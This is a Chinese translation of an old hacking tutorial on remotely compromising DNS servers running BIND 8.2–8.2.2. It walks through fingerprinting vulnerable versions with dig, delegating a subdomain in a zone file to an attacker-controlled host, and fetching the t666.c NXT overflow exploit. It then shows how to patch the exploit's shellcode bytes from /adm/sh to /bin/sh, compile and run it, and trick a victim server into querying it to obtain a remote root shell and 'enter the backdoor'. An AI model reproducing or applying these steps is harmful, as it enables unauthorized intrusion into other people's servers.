当前位置:Linux教程 - Linux - DNS BIND 8.2 - 8.2.2 远程攻击教程

DNS BIND 8.2 - 8.2.2 远程攻击教程



        
    Writed By e-Mind

    Quanslated By Redp0wer
    http://www.red.sunsnet.com

    (A) 什么是DNS
    1.如何查询DNS
    2.怎样找到一个有漏洞的DNS
    1. How do I query a DNS?
    2. How do I find a vulnerable DNS?


    (B) 怎样编辑DNS入口

    1.找到zone文件
    2.编辑zone文件

    (C) 如何攻击

    1. 攻击前具备的
    2. 原理
    3. 得到攻击程序
    4.我们为什么修补攻击程序
    5. 如何修补
    6. 编译
    7. 运行
    8. 如何让被攻击者中招
    9. 收工





    第一部分 什么是DNS
    DNS是 域名服务器(Domain Name Server)的缩写 , 用来转换 host name 到 ip地址,或者把 Ip地址转换成 host name
    例如: www.infoseek.com = 204.162.96.173


    1. 我怎样询问一个DNS
    第一步,你应该可能知道 当你使用TCP/IP,希望用一个host name而不是IP以便于在你的浏览器中看到这个host 的网页.你就应该用到一台DNS server了,你可以得到你的DNS server和 IP地址, 从你的ISP那里. 现在你想知道你用的DNS server 是什么吗. NT或者UNIX系统我们可以使用命令 nslookup看查看, 当然,我们也可以这样 :
    NSLOOKUP NSLOOKUP
    一个通常的DNS server中的一个域名包括两个 列表,叫做Zone 文件. 一个Zone文件用来分析 hostname 到 ip, 另一个用来分析IP到hostname. nslookup 命令是交互式的.这样,我们可以更有力地来用它,当你打下 nslookup时, 你将会得到一个\">\"的提示符. 用来让你打下IP或者HOSTNAME,让它来转换. 我们还有一些命令用来得到更多信息,我们呆会讨论它.


    2. 怎样找到一个有漏洞的系统.
    我们首先要知道DNS server的运行的版本,也要知道操作系统的版本.我们可以用 dig工具,dig是一个很有用的工具在UNIX系统上,它的句法如下

    $dig @
    现在,你看看输出,如果有8.2 或者 8.2.1 或者 8.2.2,那么它是有漏洞的,如果你看到8.2.2P2 - P5,那么,是没有漏洞的,如果你什么也没有看到,那么可能网管已经把DNS的信息改过了,所以它不显示给你,它可能存在漏洞 .



    第二部分 编辑DNS入口
    首先你要知道,DNS只是文本文件,通过编辑这些文本文件,然后重新启动服务,入口被加入或者改变. 主要控制DNS服务的文件是 /etc/named.conf 或者 /etc/named.boot
    如果 /etc/named.conf 存在, 那就是我们要用的东西.

    1.怎样找到Zone 文件.
    As I said earlier, a properly configured DNS has two \"lists\" or zone
    和我先前所说的一样,通常使用的DNS有两个列表或者 Zone文件来转换每个域名, 我们要编辑那个ZONE文件,改变或者增加一个域名的入口. 例如,infoseek.com,它的hostname是www, 它的FQDN是www.infoseek.com. FQDN的意思是完全域名. 为了找到infoseek.com转换完全域名 到ip的 Zone 文件,我们先要询问一下我们的DNS,来知道infoseek.com主要的DNS 是什么.


    $nslookup
    Default Server: xxxxxx.xxxxxxx.xx.xx
    Address: xxx.xx.xx.xx
    >set q=ns >infoseek.com >infoseek.com nameserver = NS-UU.infoseek.com
    >NS-UU.infoseek.com internet address = 198.5.208.3

    好了,你看到了,现在我们有了infoseek DNS的ip,现在我们假设我们是那里的root.
    登陆上那台域名服务器,然后找到/etc/named.conf. 我们可以看到文件的顶端有 一行字.这其实是属性选项. 它是:

    directory \"/var/named\"

    This means, that the zone files will sit in /var/named.
    代表zone文件就在 /var/named. 让我们在看下去. 我们还可以看到一些zone选项.
    我们可以看到infoseek.com 的:

    zone \"infoseek.com\"{
    type master;
    file \"infoseek.com.zone\";
    };


    好啦,现在我们知道zone文件就是 /var/named/infoseek.com.zone, 它也就是我们要编辑的!

    2.怎么来编辑一个zone文件

    首先,让我们来看看那个zone文件.
    我们可以再顶部看到一个 SOA 记录, 别管这堆垃圾.
    然后,我们可以看到一些东西 象这样:


    @ IN NS NS-UU.infoseek.com.
    www IN A 204.192.96.173
    ftp IN CNAME corp-bbn
    corp-bbn IN A 204.192.96.2
    .
    .
    .

    我们可以看到,有好几种不同的类型,我要需要的是 NS , A类型是象征意义的hostname 转换 ip, CNAME其实也是 A的一种代替. 还有PTR 是指针型, 和 A型反一下,把 Ip转换成 hostname,PTR其实也很有用,但我们这里先不讨论他. NS类型就是告诉我们 什么是 服务器的 DNS.
    你可能已经注意到了,在 NS类型的后面NS-UU.infoseek.com ,结束有个 \" . \" 如果我们没有这个 \" . \" 它就会把 hostname加在后面,也就是说,就成了:

    NS-UU.infoseek.com.infoseek.com.

    这样.我们就知道, A类型里的 www ,后面没有点,其实它代表是的 www.infoseek.com

    好了,现在我们要做的就是加入一条 NS类型. 我们再次假设我们是NS-UU.infoseek.com.
    的root.

    我们加入:
    subdomain IN NS hacker.box.com.

    这代表, subdomain.infoseek.com 这个域名是 hacker.box.com
    hacker.box.com needs to be resolved to a your machine\s IP address, soenter your FQDN instead.
    现在,我们需要重起一下.

    #/usr/sbin/ndc restart new pid is 24654
    #


    Section C - How do I exploit a vulnerable machine
    -------------------------------------------------
    第三部分 如何攻击一个漏洞系统.
    1. 攻击前要具备的.
    第一 要有3个以上脑细胞. :)
    第二 你需要一个root权限在一台UNIX上,运行exploit.还有,需要 一台DNS root的权限,以便编辑zone文件.

    2. 原理
    exploit用一个DNS BIND 8.2 - 8.2.2远程溢出来获得一个remote shell.exploit将绑顶53端口,充当一个DNS server,当有人查询的时候,它将发出一个巨大的NXT记录.里面还有代码,导致漏洞server溢出.
    如果想知道 详细溢出的原理,请参考Aleph One的文章:

    URL: http://www.phrack.com/search.phtml?view&article=p49-14

    3. 攻击程序从这里得到
    http://www.hack.co.za/daem0n/named/t666.c

    4 为什么我们要改一下攻击程序.
    因为这个exploit是Adm写的,他认为只有他们的人才可以用这个exploit,所以在code里面做了点手脚, 溢出以后,他运行的是 /adm/sh 而不是/bin/sh


    5. 我们要改哪里
    看下面:

    / = 2F(HEX) ===> / = 2F(HEX)
    a = 61(HEX) ===> b = 62(HEX)
    d = 64(HEX) ===> i = 69(HEX)
    m = 6D(HEX) ===> n = 6E(HEX)
    / = 2F(HEX) ===> / = 2F(HEX)

    把adm改成bin就可以了.
    所以我们只要把0x2f,0x61,0x64,0x6d,0x2f 替换成 0x2f,0x62,0x69,0x6e,0x2f.就可以了.


    6. 编译
    现在我们假设在hacker.box.com上
    $gcc t666.c -o t666 $

    7. 运行
    $su Password: #./t666 1
    现在,exploit绑定了 53端口,如果你本来就在运行 DNS服务,请先关掉它.

    #killall -9 named

    exploit就开始等待请求了, 如果有请求过来, 它就会显示

    Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1

    如果他是Dns server,它就进入一个死循环去了.如果它是Linux Redhat 6.x - named 8.2/8.2.1 ,我们就可以得到这台倒霉机器的shell啦! 至于为什么要是 Rh6.x系统,还记得我刚才的命令吗? ./t666 1 我选的是1,是rh6.x 你也可以选别的,请打 ./t666 你将看到一张漏洞系统表表.


    8. 怎么才能让漏洞机器来询问我的exploit呢
    现在,就用到刚才我们加进去的zone文件了.

    $nslookup
    >server >www.subdomain.infoseek.com
    victim 这台机器就会询问 www.subdomain.infoseek.com,www.subdomain.infoseek.com
    其实指向的是 hacker.box.com
    那么,笨笨victim就去到hacker.box.com来查询,exploit工作....BOOM~~~~~

    9. 收工
    现在, 它的named完蛋了,还等什么呢,进去后门吧..... <


    发布人:netbull 来自:黑白世界